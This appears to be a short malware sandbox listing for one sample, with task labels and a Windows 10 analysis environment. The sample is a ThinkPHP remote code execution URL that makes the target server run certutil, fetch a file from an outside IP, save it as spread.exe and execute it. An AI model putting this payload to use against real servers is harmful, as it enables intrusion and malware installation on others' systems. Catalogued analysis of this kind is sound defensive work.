Static task

static1

URLScan task

urlscan1

Behavioral task

behavioral1

Sample

http://63.157.240.234:80/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars0=system&vars1[]=cmd.exe /c certutil -urlcache -split -f http://1.189.76.126:19490/spread.txt C:\ProgramData\spread.exe && C:\ProgramData\spread.exe

Resource

win10v2004-20231025-en